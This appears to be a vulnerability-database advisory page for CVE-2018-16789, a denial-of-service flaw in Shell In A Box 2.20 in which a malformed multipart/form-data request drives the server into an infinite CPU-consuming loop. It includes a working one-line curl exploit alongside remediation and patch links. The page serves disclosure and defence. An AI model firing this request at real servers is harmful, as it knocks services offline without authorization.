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Shell In A Box 2.2.0 Denial Of Service Exploit
| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
 | CVE-2018-16789 | 28 Oct 201819:04 | – | circl |
 | CVE-2018-16789 | 17 Mar 201918:36 | – | cve |
 | CVE-2018-16789 | 17 Mar 201918:36 | – | cvelist |
 | CVE-2018-16789 | 17 Mar 201918:36 | – | debiancve |
 | EUVD-2018-8589 | 7 Oct 202500:30 | – | euvd |
 | CVE-2018-16789 | 21 Mar 201916:00 | – | nvd |
 | DEBIAN-CVE-2018-16789 | 21 Mar 201916:00 | – | osv |
| UBUNTU-CVE-2018-16789 | 21 Mar 201916:00 | – | osv |
 | Shell In A Box 2.2.0 Denial Of Service | 27 Oct 201800:00 | – | packetstorm |
 | Design/Logic Flaw | 21 Mar 201916:00 | – | prion |
10
Product: Shell In A Box (aka shellinabox, shellinaboxd)
"Shell In A Box implements a web server that can export arbitrary command
line tools to a web based terminal emulator. This emulator is accessible to
any JavaScript and CSS enabled web browser and does not require any
additional browser plugins. "
Most official-ish site: https://github.com/shellinabox/shellinabox
Vulnerability description:
The multipart/form-data parser function in the built-in webserver of Shell
In A Box enters an infinite loop in case of malformed request payload, the
server stops serving new requests and the the process eats up 100% of CPU
time.
Exploitation:
curl -v --header "Content-type: multipart/form-data;
boundary=------------------------8d14c0216fd84557" -d "impeachment"
http://127.0.0.1:4200/s/
Affected Shell In A Box versions:
2.20 and below
Remediation:
Upgrade to 2.21
Package available in Debian sid:
https://packages.debian.org/source/sid/shellinabox
Patch: https://github.com/shellinabox/shellinabox/pull/446
# 0day.today [2018-10-28] #Data
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28 Oct 2018 00:00Current
7.6High risk
Vulners AI Score7.6
EPSS0.00861